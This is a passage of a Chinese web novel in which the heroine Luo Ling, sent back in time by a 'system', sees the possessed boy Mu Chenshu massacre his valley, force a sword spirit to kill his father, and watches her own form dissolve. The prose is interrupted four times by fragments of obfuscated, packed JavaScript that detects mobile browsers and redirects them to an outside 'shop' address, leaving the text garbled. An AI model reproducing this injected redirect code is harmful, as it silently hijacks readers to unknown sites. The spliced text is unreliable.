洛绫叹了口气，定定望着白发男子，“好吧，总之，不论发生什么，你也要注意自己的安危。” “你说了半天，是怕我死吗？” 他愣了愣。 洛绫点头道：“我们是朋友，我自然怕你出事。” “别担心。”他这样回答她，“作为灵兽，我已活了上千年，对我来说，只要二位主人，只要小主人平安无事，我的生死皆是无谓。” 洛绫忽然想到，虽然她在后来见到了玄照，却并未见到虚漓，那么……他很有可能死在了这场异变之中…… “哪里无谓了？” 她打断了他的话，突然伸手捧起他的双颊。 说是捧，倒更像是猝不及防地用手掌夹住了他的脸，她无比认真地说道：“不许搞自我牺牲，自我奉献那一套——好好活下去。” “可……”他的眼神闪烁着。 洛绫知道，若是牧沉书的父母出事，虚漓是最有可能上去挡刀送死的那个人，他说的都是真的，她看得出来，在他眼里，那两位主人，包括小牧沉书，都比他自己的性命重要。 “你的性命很有所谓，我希望你活下去，我希望以后能再见到你。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100998|130143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 洛绫松开手，看着他微微发红的脸颊。 她不知道这样是否能改变他的命运，但她已经告诉了他自己内心的想法，也只能寄希望于他能想开，不要做傻事…… 虚漓不自然地沉默了好一会儿，忽然抬起手中的花盆，交到了她手中。 “这是你先前种的白暮颜，我见这株长势佳，已可以入药，在我这里留着也是吃灰，便装到花盆里，送给你——” 洛绫看着花盆中那株雪白的花儿，眨眨眼，“给我做药草吗？” “你若是想做药草也可以。”他无奈地叹了口气，“不过我特意装整起来，是想让你多留几日观赏用，可不是让你回去就拔掉的。” 洛绫噗嗤一笑，朝他点头：“好，那我就多留几日。” * 那日送花之事后，洛绫与虚漓便走得稍近了些，她大抵是猜到了几分他的心意，不过也没戳破那薄薄的一层窗户纸。 毕竟，她不属于这里，再多往前迈一步又不知会生出多少忧愁和烦恼。 于是，二人之间依然只是以更好的朋友论处。 玄照却是眼尖，回回见了她都要戏谑上两句，这也罢，由于洛绫经常性出没在竹林的缘故，这些流言蜚语便令年幼的牧沉书也有所耳闻。 “小绫儿，你和虚漓是不是有私情啊？” 某日突然听到那小男孩眨着水灵灵的大眼睛问她，洛绫差点没喷出三升血，“谁告诉你的？” “我听应福他们聊天说起的。”牧沉书见她的反应，不由努起了嘴，“所以是真的？” “你也信我俩有私情？还有——你不许再说私情这个词，这种不三不四的词，可不是你一个小孩儿能说出口的！” 洛绫决心好生教育他一番，这小不点如今倒是越发放肆，说起话来如此口无遮拦。 牧沉书捂住了嘴，点头道：“好，我以后不说这个词了，可是，小绫儿，没关系的。” “什么没关系？” 牧沉书一本正经地说道：“我喜欢虚漓，我也喜欢你，即便你真的和他有什么，我也不介意，反而我会很高兴你二人关系更加紧密了。” “你倒是心胸宽广……”洛绫腹诽，怎么长大了没这么心胸宽广？ 她抱着双臂道：“你就不怕他取代你在我心中的地位？” “为什么会取代？”牧沉书皱着眉，“你和虚漓就算是成了很好的朋友，可我才是你心里最重要的那个人不是吗？” 朋友……果然这小不点的脑回路还是纯洁无比的。 洛绫笑道：“嗯……你说的也有点道理。” “小绫儿，我现在都明白。”他握住她的手，“阿爹跟我说，若是真心想留下一个人，就不能靠无理取闹，撒泼打滚，要了解她在乎什么，要让她感受到自由快乐、无拘无束，她才会永远不离开，所以……” 他温柔地注视着她，“所以上回是我不对，不该因为那个叫小桃的女孩生气，以后你交再多的朋友，有再多的私情，我都不会生气的。” 自由快乐，无拘无束……话头说起来是不错，怎么听着怪怪的？ 洛绫唇角抽了抽，轻轻抚摸着他的头发，“某种程度上来说，你阿爹是对的，但是，别再用私情这个词了！！” 43. 四十三 玉石 洛绫怕系统随时可能修补好BUG，很快便将丑丑从宿龙涧带了出来，打算养在身边，免得将它一只兔子落在千年前，届时还不知如何跟高岳解释。 丑丑要离开宿龙涧，牧沉书甚是依依不舍，直送到了山洞内。 “我准备了好些胡萝卜，堆在外面的地洞里头，若是丑丑饿了，便喂给它吃好了。”他揉着小兔子毛绒绒的脑袋。 丑丑眨了眨红红的兔子眼，嘴巴嘟了嘟，忽然出了声：“喵呜。” 仿佛是在感谢牧沉书慷慨的赠予。 “丑丑，原来你是这么叫的吗？”洛绫惊讶不已，“你一只兔子怎么叫得跟个猫儿似的？” 小兔子听此又喵喵叫了一声，惹得洛绫和牧沉书纷纷笑了起来。 落入山洞的光线渐渐斜沉，洛绫便对牧沉书道：“你赶紧回去吧，你不是先前说，今日你阿爹要考校你剑术吗？” “我不想回去。”他撅起了嘴。 “怎么？你不是挺喜欢练剑吗？” “我喜欢练剑……可是……”他眸光沉了下去，“就算我练得再好，也只能练一些凡人的剑术，没有灵法辅用，如何能像那些剑圣剑宗一般，一剑光寒十九洲？” 洛绫一怔，她倒是忘了，的确，在这个世界，冷兵器真正的作用是作为灵气的载体。 即便他剑术练得再好，可上千上万本的绝世剑谱，都只为剑修修士提供，他连瞻仰也莫及。 “小不点，或许，你可以和你父母聊聊？” 洛绫放下丑丑，转而对牧沉书认真说道：“告诉他们，你想修炼，想成为厉害的剑修。” “可，万一我真的应验了那些话，真的死了怎么办？”他眼中流露出一丝犹疑。 “你害怕死？” 洛绫笑了笑，牧沉书认真思忖半晌，而后慎重地点头：“我不能死，我死了的话，阿爹阿娘，虚漓玄照他们都会很伤心，还有……” 牧沉书眸光闪烁着，看向面前的白衣少女。 “还有我也会伤心，不过，我相信你。”洛绫拍了拍他的脑袋，“我相信你不会死，还会成为世上最厉害的剑修！” 牧沉书怔怔地抬起头，“小绫儿，你当真相信我吗？” “自然相信。”洛绫朝他坦然一笑。 她摸着他的脑袋道：“所以你可以回去问问你阿爹阿娘，若你无论如何都想修炼，还有没有什么最后的法子，世上是没有十全十美的事情，若你修炼必须付出代价，便仔细斟酌斟酌，是否愿意付出这份代价，又要如何让这代价最小化……” 牧沉书听了她的话，沉思良久，似是终于下定决心，握紧右手，重重点了头。 “好！” 他很快与洛绫告别，匆匆回了宿龙涧。 目送着牧沉书离开，洛绫看天色渐晚，便打算继续睡了。 这些日子宿龙涧基本无事发生，也看不见任何魔邪的影子，她有时都怀疑是不是等到魔邪入侵还得要个百八十年的。 往后还是隔两日再去宿龙涧转悠吧，免得猝不及防见到牧沉书的父母，对于一个社恐人士来说还是相当尴尬的…… 她漫不经心地想着，到了晚上便躺在石床上稀里糊涂地睡了，半夜迷糊醒来给丑丑喂胡萝卜，却发现丑丑躺在笼中，有点儿没精打采的，胡萝卜只吃了半根。 怪了，这小兔子平日里见了胡萝卜都跟打了鸡血似的，怎么现在只吃这么点儿？ 洛绫摆了几根胡萝卜到笼中，打算明日再观察观察丑丑的变化，万一它真要生了，是不是还得找虚漓来接生。 按理来说虚漓倒也不算是大夫，不过他老种药草，搞不好也懂点呢？ 洛绫睡得并不安生，夜中醒来好几回，看放在丑丑笼子中的胡萝卜一根没少，便睡得更不安生了。 洞外似乎下起了暴雨，雨骤风狂，听着咣当咣当的，好似天仙信手洒下无数珠串，扰得人间不得安宁。 洛绫辗转反侧，她睡得不安稳，可要睁开眼皮又只觉得沉重无比，只好继续辗转反侧地睡觉。 一声雷鸣恍然炸开了她的耳膜，洛绫惊出一身冷汗，猛地睁开眼。 一睁开眼，却发现丑丑不知何时躺在她的身旁，睁着红光幽幽的兔子眼。 “丑丑？” 洛绫心中一惊，“你怎么从笼子里跑出来的？” 毛绒绒的小兔子身上散发出细密的白光，洛绫感到不对，以为它是哪里不舒服了，便伸手去碰它，刚碰到丑丑的耳朵，身子便控制不住地瘫了下去。 洛绫仍是有意识的，只是这意识并不存在于脑海中，而是游离在另一片奇异的空间。 那片空间中，一切皆是纯白无瑕，犹如无垢圣地。 她被柔软的白光缠绕着，穿过发丝、脖颈、腰际，一根根的白光犹如绸带，细密地在空中飞舞旋转，仿佛在编织何种艺术品。 白光不断缠绕，她的意识也越发模糊，连时间的流逝也无法感受到了，只是沉浸于那虚幻的白光之中，任由意识的沉沦…… “喵呜。” 空中传来熟悉的叫唤声，洛绫瞬间清醒过来，丑丑？ “丑丑？你在哪儿？” 她想要往前去，却被那无尽的白光裹缠，一团剧烈的光芒在她怀中爆发开来，洛绫根本睁不开眼，甚至只能掩住自己的双眼，以避开那刺眼的光芒。 不知过了多久，她才感到光芒缓和起来，才发觉黑暗的降临，她动了动，确实地感受到十指的存在，便立即睁开双眼。 “喵呜。” 她回到了山洞，外界已没了雨打雷鸣的声响，洛绫低下头，发现自己不知为何盘坐在石床上，那白毛小兔子就躺在她怀里，喵呜喵呜叫着—— 嘴里，衔着一块玉石。 洛绫还有些初醒的迷蒙，掐了掐丑丑的脸蛋，“你这玉石是从哪儿捡来的？” 她好生疲惫，差点以为自己要魂飞魄散了，丑丑却衔着那玉石戳了戳她的胳膊。 洛绫缓过神来，困乏地望向丑丑。 她惊奇地发现，小兔子原本圆滚滚的肚皮不知何时瘪了下去，模样瞧着，也没有先前那般圆润了，看起来就跟她头回在肃风门见到它时一样，只是个普通的小型灵兽。 “你怎么突然瘦了这么多？” 洛绫还在奇怪，目光忽的落到了它嘴里衔的玉石上，浑身猛地颤了颤。 这玉石她瞧着太过眼熟…… 她伸手取下它口中的玉石，放在光亮处仔细一瞧，通体莹润的羊脂白玉，浑然天成的月牙形状，这玉石分明是—— 洛绫猛地抬头，分明是牧沉书交给她的那枚玉佩。 “这玉石怎么会在你身上？我分明记得我留在剑山了。”洛绫感受着手中玉石的灼热，联想到丑丑这些日子的异常，方才怪异的白光，再加上此时它突然的暴瘦…… 众多的线索在此刻忽然关联起来，她蓦然一怔，“丑丑，你是多宝灵兽，这玉石，是你孵化出来的？” “喵呜~~”丑丑呆呆地叫了声。 它用小脑袋顶了顶玉石，又蹭着洛绫，洛绫看着手中的玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127488|130143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石，若有所思地问道：“你是要把这个送给我吗？” 丑丑缓缓点头。 洛绫握紧手中的玉石，将丑丑搂得更紧了些，“谢谢。” 原来那块玉佩的由来是这样的，不是牧沉书父母遗留下的遗物，也并非洛绫猜想，是女主赠送给牧沉书的定情信物，而是由丑丑所孵化的玉石。 这块玉石，如今就在她的手中。 她心中隐隐预感，一定会有那么一个契机，让她把这块玉石交给小不点。 有时，洛绫并不相信天命与天定，有时，她又能感到自己被这样无形的命运左右着，就好像有个人在无形中牵引着她的命途。 可分明，她也并不是这本书中的任何角色。 洛绫下了石床，不知为何，这一觉竟睡得她浑身发抖，仿佛精疲力竭一般，丑丑兀自飞在她的身侧，喵喵叫着。 “你是不是想小不点了？” 洛绫抚摸着它的脑袋，丑丑蹭了蹭她的手指，洛绫感受到它期待的心情，笑了笑：“天亮了，我带你去找他吧？” 丑丑旋即欢快地围着她，在空中绕起了圈圈。 洛绫带着丑丑离开山洞，不知是否是昨夜下过雨的缘故，天地潮湿，一切极为静谧，静谧到仿佛没有一丝生气存在。 临时起意，想着今日再给小不点做一顿饭，洛绫便到十里村去买菜了，到了村口，她却发现十里村今日格外安静，安静到有些诡异了。 她漫步在长长的街道上，却连一条人影都没见到。 往日热闹喧哗的菜市，如今只剩布篷下空荡荡的青石路，这样万里无云的天气，田埂上也本该到处是务农的村民。 看着空荡荡的街道与房屋，洛绫心中的不安越发浓烈，走着走着猛然一定。 她立即转身，带着丑丑离开十里村，直往宿龙涧而去。 不对劲，太不对劲了，莫非魔邪入侵宿龙涧之日就在今天？那这些凭空消失的村民都去哪儿了？怎么会一个人都不剩？ 洛绫越想越不安，飞奔至西山，一进入宿龙涧，便又是一阵肃然的死寂，与十里村一般的死寂。 她心中骇然，害怕下一刻就将看到在幻阵时见到的，血腥屠戮之景，害怕下一刻就会出现那可怖的笑面佛陀，将一切毁灭殆尽。 洛绫不安地往竹林走去，一路上，依然没看到半条人影，连一只灵兽都不剩。 竹林风声簌簌，洛绫忙不迭地来到前屋，终于看到一道小小的身影，男孩坐在前屋的台阶之上，撑着侧颊，不知在思索什么，一动不动的。 长风吹拂着他缭乱的青丝，也遮掩了他的双眸。 洛绫心中一喜，飞奔而去，来到男孩的身畔，气喘吁吁地问道：“小不点，发生什么事了？” 男孩不语。 “你怎么不说话？为什么十里村一个人都没有了？为什么宿龙涧也这么安静？” 洛绫再次不安起来，她伸手要触碰他的额发，却见男孩忽然抬起了漂亮的墨瞳，洛绫终于松了口气：“你，你干嘛不说话？” 下一刻，那墨黑的瞳眸中滋生出狂热的猩红色，灼得洛绫猛然撒手。 男孩缓缓起身，挥袖间，一道血刃朝她飞来，洛绫感到身侧传来一股强硬的力道，将她用力推倒，这才躲过那致命的血刃。 “快逃！” 洛绫听到耳边响起的叫喊，于是她才注意到男孩身后的台阶上，浓稠的鲜血沿阶而下，濡湿了他青色的衣摆。 “小不点……”洛绫不确信地问了一句，“是你吗？” 44. 四十四 注定的结局 “快逃！” 那道声音又响了起来，洛绫这回反应了过来，立即转身远离那男孩，却发现他不知何时已来到了她的面前。 他不是小不点，不是牧沉书。 洛绫很确定，她往后退了一步，看着男孩抬起一只手，手中幻化出一柄古怪的剑，剑身通体血红，其上却缠绕着黑金两色的烟雾。 他将那把剑拖在地上，地面铺满竹叶，剑尖于是在竹叶之上划出一段刺眼的血痕。 血水继续沿着台阶往下淌落，洛绫抬起头，猛然发现竹屋那段并不长的走廊之上，堆着层层叠叠的尸体…… 太多的尸体已令她分不清那是属于人类还是灵兽的了。 她剧烈颤抖着，忍不住捂住了嘴，双腿也麻木地站立着。 她不是不想逃，而是逃不了了，她身上没有什么灵气，使不出移动的术法，而男孩一瞬就能来到她的身前，她要往哪里逃？ 丑丑惧怕地躲在她的怀中，瑟瑟发抖着。 “小不点，那些人不是你杀的对不对？” “什么？”男孩竟然歪着头，张开了始终沉默的唇。 “那些人不是你杀的对不对，不是你……” 洛绫抱着双臂，话音嘶哑无比。 男孩的手指敲了敲剑柄，忽的抬眸一笑：“我以为，你要问我，那些人够不够呢？” “够，够不够？” 他飞掠过她身边，猛然侧目，“答案是还不够——” 剑光即将落下，将她怀中的丑丑顷刻击飞，小兔子落在走廊梁柱下，瞬间失去了意识。 洛绫抬头看着那即将毁灭自己的剑刃，结束了吗？或许选择只让元念离体是正确的，至少这样，她还不至于完全死在这里。 “噹——” 数道金光将剑刃震开，洛绫倒在了地上，她转头，看到玄照不知何时出现，她将她一把扶起，“我们走。” “还有丑丑……” “来不及了！” 不容洛绫多问，玄照的术法便将她带离了竹屋，那男孩没有追上来，一道金光拦住了他的去路。 直到远离竹林后，洛绫才问道：“有人在帮我们断后吗？是谁？” “是……”玄照身形摇晃，“牧姐姐。” 洛绫怔然，牧沉书的母亲，她双唇翕动了下，“没事的，虚漓说她很厉害，应当不至于，再说了，她是小不点的母亲，她……” “虚漓死了。” 脑袋轰的一声，霎时炸开了。 洛绫有些听不清玄照的声音，但她显然还在说话，虽然她已经听不太清她说了些什么。 直到玄照将她带到一处僻静的秘境，四周只剩空无的黑暗。 玄照说道：“这里是我的剑中界，暂时算安全。” “玄照，告诉我……虚漓是被小不点杀死的吗？” 洛绫瘫倒在地上，忽的抬头看着她，语气听不出是悲是喜。 玄照伸出幻出一盏灯，缓缓将灯盏放置在地面上，她坐在了她的身畔，淡淡地道：“是的，竹屋中的那些人都是小主人杀的。” “发生了什么？” 这样的真相，是洛绫无论如何都设想不到的，她整日担忧宿龙涧会被魔邪入侵，整日担心入口的防守不够牢靠，整日担心等到魔邪入侵要如何保护小不点…… 结果，杀死所有人的魔邪，是那个她心心念念的小不点。 玄照垂下双眸，“那日，小主人回到宿龙涧，不知为何与二位主人大吵了一架，独自跑到山下的池边玩耍，等我去山下找他回来时，他就这样了，若不是虚漓，我差点死在他的剑下——” 她将双膝紧紧抱起，低声嗫嚅道：“虚漓是为了我死的。” 洛绫抬手想要安抚她，手却悬在半空中。 虚漓死了，他还是死了，什么都没有改变。 可她又以为自己能改变什么？依靠言语便能改变他？在他心中宿龙涧就是他的全部，他不仅会为了二位主人而死，他还会为了宿龙涧的每个人而死——宿龙涧的结局注定是毁灭，因此他的结局也只能是毁灭。 玄照忽然抬起了头，她拭了拭眼角的泪水，“小绫儿，你留在这里，我得回去了。” “若有人能拦得住小不点，他也不至于杀了那么多人，你现在回去只是送死！” 洛绫紧咬着瑟瑟的后牙。 “我知道，牧姐姐让我带你离开，逃得越远越好，可我不能真的什么都不做，我的主人，牧姐姐，还有丧失心智的小主人，他们都还在宿龙涧，我不能抛下他们不管。” 她起身要走，洛绫却攥住了她的手腕。 玄照话音冰冷：“松手。” “我……”洛绫缓缓站起身，“我跟你一起回去。” 玄照眸中闪过一丝惊异。 * 宿龙涧没有洛绫在幻阵中所见的笑面佛陀，没有山棱倾塌，没有举目红光，它像往常一样幽静美丽，除了那迎面而来的清风中夹杂的，浓烈血腥气味…… “我只是回来找丑丑的，等找到它我就离开。” 洛绫忍不住再次掩住了鼻息，胃里翻江倒海，她这辈子加上辈子也没见过这样的阵仗。 “你要去救你的主人？”洛绫侧过头看向玄照，女子点头道：“若是没办法唤醒小主人，不论如何，我也要将主人救走。” 洛绫却道：“虚漓说牧沉书的父母很厉害，你难道会比他们还厉害？” 玄照不语，径直往前而去，洛绫在后方喊道：“喂，你要是真执意来送死，我可不管你！” 玄照并未搭理她，洛绫心里却十分清楚，她回来，就是奔着送死来的。 洛绫的首要任务是找到丑丑，她不能在此处多留，万一被那个手持血剑的男孩发现了，她难逃一死。 届时带不回宿龙涧的记忆，还毁了元念，简直是赔了夫人又折兵。 “你知道你主人在哪儿吗？” 洛绫跟上玄照的脚步，“他为何不与牧沉书的娘亲待在一块儿？” “他受伤了。” “什么？” “他受了很重的伤，所以让我们先行离开。”玄照说话时，语气微微发颤。 洛绫看到她止不住颤栗的双肩，不由握住她的手，“你要救他？” “是的。” “即便知道他受了重伤，很可能已经死了？” “是的。” 回想起来，她每一次回答，都没有半分犹豫。 “玄照，你喜欢他对吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161499|130143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 洛绫突然问她，玄照转头看她，她这才发现，女子的眼中已然是莹莹的泪光。 是啊，不是因为喜欢何至于做到如此地步…… 二人再次回到竹屋时，那手持血剑的男孩已不在竹屋中，幸好的是，那些尸体中，没有牧沉书娘亲的影子。 “丑丑不在这里。”洛绫找遍了竹屋，那么一只不起眼的灵兽，分明已昏厥过去了，难不成还得特意将它毁尸灭迹了？ 玄照深吸了一口气：“我们去隐鹤阁。” “隐鹤阁？” “主人和牧姐姐住的地方。” 洛绫点头，既然丑丑不在这里，换个地方找找也好。 在玄照的带领下，二人前往隐鹤阁，隐鹤阁离竹屋有一段距离，好在飞剑赶往，约莫也只要了半炷香的时间。 那是一座建立在偌大的莲花池之上的阁子，朱纱飞舞，景色旖旎，只是过分安静了些。 玄照领着洛绫进了隐鹤阁，阁中不知为何格外昏黑，洛绫一路摸黑跟着玄照往内走着。 走至一堵墙前，玄照止住了脚步，抬手灵气涌动，墙面便出现一条裂缝似的光亮，“走吧。” 洛绫也没多问，跟着玄照进了那裂缝，二人在裂缝中的空间行走着，玄照解释道：“这条密道是很多年前布下的，小主人并不知晓，这里应当是安全的。” “牧沉书的父亲也在这里吗？” “若是他能活下来，也只能躲在这里了。”玄照眼帘低垂。 二人沿着密道继续前行，很快来到了密道的尽头，玄照停下了脚步。 密室的另一端，蓝衣男子坐在地上，长发掩住了容颜，他背靠一张鎏金雕刻的壁画，垂落两侧的手臂上，鲜血仍在汩汩流淌…… “主人！” 玄照喊出声，几乎克制不住地要奔向屋内，洛绫却拉住了她的手，“等等。” 微弱的血光在布满尘坌的空气间游走着，洛绫手心沁出了冷汗。 “找到了哦。” 密室内回荡着这空洞的声音，“哗”的一声后，四面的壁灯尽数亮起，照亮了昏黑的密室，男孩从角落中走出，双目依然闪烁着灼灼的红光。 他拖着那柄血剑，望向那站在密室门前的玄照，“我知道你会回来，你是剑灵，怎么能放得下你的主人呢？” 玄照瑟然一抖。 “牧，牧姐姐在哪儿？”她话音微颤，男孩竟然毫发无伤。 “你是说我的娘亲吗？”男孩缓步走至密室中央，抬起冰冷的双瞳，“自然是死了啊，至于她的尸体，我也忘了丢哪儿了。” 玄照听此瞳孔一缩，握紧了手中的黑龙剑，“她是你的母亲！你疯了，小主人！你怎能杀了她？” 男孩的目光依然空洞冰冷，“你说得对，她是我的母亲，我不该杀了她，我知错了。” 他话音落罢，唇角却流露出嘲弄的笑意，“那，我是不是也不该杀了我的父亲？” 他转身望向那靠在墙壁前，奄奄一息的男子。 玄照不由一震，“你，你想做什么？” “听取你的意见，我可不能做手刃双亲这种大逆不道之事——” 男孩侧过身，淡淡开口道：“所以，你来杀了他。” 45. 四十五 从今往后 “玄照，你来杀了他。” “杀了他，杀了你的前主人。” “玄照，杀了他……” 男孩半眯起眼，唇角微微上扬，在这一刻，那可怖的笑容令洛绫立时想起了在幻阵中遇到的笑面佛陀。 洛绫猛地抓住玄照的胳膊，“别过去。” “杀了他，玄照，因为我才是你现任的主人。” 女子愕然一怔。 洛绫忽然意识到，玄照身上有认主的契印，那个男孩如今才是能操控她的主人。 她挡在玄照面前，欲要阻止她往前，却被轻而易举地推倒在地。 身着黑白袍的女子早已无法自控，呆呆来到了那幅鎏金壁画之前，举起了手中的黑龙剑。 “玄照！不要！” 洛绫瞪大眼，鲜血犹如泥污般飞溅，染红了女子黑白色的衣袍。 女子愣愣地转过身，身后之人如玉山倾塌而落，她面无表情，眼中却簌簌地落着大颗泪珠。 “做得很好。”男孩继续那样诡异地微笑着。 玄照丢下染血的黑龙剑，她抬起手，看着自己沾着黏腻的血液的手，猝然跪倒在地上，捂着脸不断呕吐，抽搐，放声大哭，连回头看地上死去之人的勇气都没有。 “我杀了他，我杀了他……” 洛绫从地上茫然起身，幽暗的密室中，只剩呜咽哭泣的女子、鲜血淋漓的尸体、还有那站在血泊中微笑的男孩。 这就是她寻求的真相，这就是宿龙涧的真相，这就是牧沉书的真相，这就是少年夜以继日的梦魇与心魔。 “嗡——嗡——” 不知从何处传来悠长空灵的声响，仿佛有人手持桃木柄，正款款敲击钵盂。 男孩脸上笑意全无，他握紧了手中的血剑，袭向那跪在地上哭泣的女子，他眼中红光剧烈闪烁，“还不够！” 玄照仰起头，脸颊尽是血与泪，双瞳麻木不仁，静静等待着死亡的降临。 直到血红的剑光落下，她被猛然推到了一旁，少女高声喊道：“走！” 玄照一惊，看着白衣少女肩臂上狰狞的豁口。 少女的身形化为细密的数点光芒，她踉跄跌落在地，望向她的目光却仍含着淡淡的笑意，“走，活下去……” 玄照仿佛接收到某种指令，猛然一颤，旋即起身。 “休想！”血剑腾空而起，男孩却恍惚倒在了地上。 玄照奔至密室门前，回身时，定定地望了那瘫倒的男孩一眼。 而后她不再犹豫，身形消隐在幽然的密室中。 血剑化光而散，男孩跪倒在地上，恍惚看向那正在消散的少女，眼中仍有若隐若现的红光，“不够……还不够……” 他念着，声音却忽如檐上积雪，雪越下越大，高檐不堪重负，在一瞬彻底垮塌了下去，狂风拨乱雪花，寒意漫漫入骨。 “小，小绫儿……” 他看着身形透明的少女，匍匐着来到她的身前，“你怎么了？” “你……醒了？” 洛绫努力扬起一个苍白的笑容，“还好你醒了。” “你怎么了？你身上怎么有伤？”男孩紧紧握住她的手掌。 洛绫哭笑不得，我身上的伤不是你这臭小子刺的？ 但看到他几乎要落泪的瞳眸时，还是噤了声。 她颤抖着，从腰间取出那一块月牙状的玉石，“这个给你。” “我带你去找阿爹阿娘……治好你……”他要起身，洛绫拉住了他的手，免得他一转身，发现自己的阿爹就死在他的身后。 “这个给你。”洛绫执拗地将那块玉石递了过去，“往后我不在你身边，阿爹阿娘也不在你身边，你要照顾好自己。” “什么？你要去哪儿？这个又是什么？” 他发现自己开始触摸不到她了，立时惊慌失措起来。 “是信物。”洛绫笑了笑，“还给你的信物……” 她话音落下，他却没能接住她递来的玉石。 她的身形顷刻间消失，玉石坠地，“哐当——”发出清脆的声响。 男孩伸手将她搂住，却只剩一片虚无的光屑。 “小绫儿！” 惊恐无助的呐喊归于虚空，洛绫在昏沉间听到了系统的声音。 【已修补穿越漏洞，已修正角色记忆，即将回归主时间线。】 洛绫睁开眼，发现自己坐在一片漫无边际的黑暗中。 奇怪，她的元念被摧毁了，主意识不该在剑山吗？怎么会莫名出现在这里？ 【这里是溯回之隙，系统已暂时将您的元念收集于此。】 “是吗？那意味着……我的元念没有消散？”洛绫颇为意外。 【系统已对穿越漏洞进行修复，包括但不限于抹去主要人物记忆、保护您的存在不受漏洞影响等等。】 “你救了我？” 洛绫总算听懂了这一句话。 系统沉默，洛绫吃力地扶着头，“谢谢……” 她忽然抬起了头，仿佛看向了虚无中的系统，“对了，牧沉书后来怎么样了？” 【您是想以更高权限的视角观察宿龙涧覆灭后的故事？】 “是的。”洛绫毫不犹豫地点头。 【权限使用仅此一次。】 系统抛下淡淡的一句话，而后洛绫眼前便天旋地转起来，景象变幻，光影掠过，她再次回到了隐鹤阁，低头却看到不到自己的身体，感受不到自己的存在。 她明白了过来，她这是在以不可知的视角旁观故事的发展。 纱幔飞舞，男孩跌跌撞撞地奔出亭阁，双手被鲜血染红，他奋力挥动衣袖，痛苦地低吟着：“不要过来，不要过来……” 他走两步便身形不稳跌倒在地，而后却又爬起身，脚步蹒跚地往前逃去，他时而愤怒、时而冷漠、时而残忍、时而惊惧……一张脸上千种神态，仿佛疯癫入魔。 “我不是，我跟你们不一样……” “离我远点……离我远点……” “阿爹，阿娘……你们在哪儿……救救我……” 他跌跌撞撞，一路往山下奔去，直至身体终于支撑不住，一路滚下长长的石阶，洛绫想喊住他，却发不出任何声音，只能调转视角，沿长阶而下。 一块大石拦住了滚落的男孩，也将他的头顶撞出偌大的伤口，鲜血淌满了男孩稚嫩的脸颊。 他的双瞳空洞如无物，紧紧蜷缩着身子，颤栗不止，只是手中仍攥着那块月牙玉石，指缝间的鲜血早已让雪白的玉石缠上了千丝万缕的红色。 他孤独地倒在地上，口中碎碎地念着什么。 任由夕阳西落、月华初升、烈日当空、暴雨连绵…… 时间与空间在洛绫面前加速变幻着，可男孩依然躺在地上，血污与泥浆早已将他变成脏兮兮，臭烘烘的泥人。 他还是躺在地上一动不动，日子少说已经过去了三天。 天空忽然下起了雨，电闪雷鸣，滂沱大雨，男孩被雨水冲刷着全身，不知是否是染上了风寒，脸颊升起了滚烫的红色。 洛绫想要将他拉起来，让他清醒过来，好歹得让他去屋檐下避雨，避免风寒加重。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187868|130143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可她却没有插手过去的能力，只能不断移动着视角，看着他在暴雨中瑟瑟发抖，活像只打湿了羽毛的雏鸟。 男孩的目光渐渐涣散，眼睑低垂，气息也越发微弱。 “系统！救救他！” 洛绫只能在心中大声唤醒系统，她知道只有他有办法做到。 【抱歉，您没有这个权限。】 洛绫顿时暴跳如雷，“我他妈让你救他！不然我不干了！听明白了吗？” 下一刻，洛绫忽然感到自己遁入了某种躯壳，她挥舞着翅膀，发现自己变成了一只月白色的蜻蜓。 是月落蜓。 她能感知到雨水草木的气息，周围的空气潮湿且闷热。 她立即落到了男孩的脸颊上，用翅尖拍打着他的鼻梁，男孩疲惫地睁开双眼，墨瞳疑惑地凝望着落在自己脸颊上的蜻蜓。 蜻蜓飞起，在空中轻轻旋动了下，男孩便恍惚撑起了身子。 不远处有一个茅屋，带他到茅屋中避雨。 洛绫定定心，而后往前飞去，男孩起初还有些犹疑，那白色的蜻蜓再次回到他面前，环绕他低低飞舞。 男孩抬手想要将她捉住，蜻蜓却继续往前飞，他摇摇晃晃地追了上去，蜻蜓亦快速地飞往那座可以避雨的茅屋。 小不点，这是我最后一次帮你了。 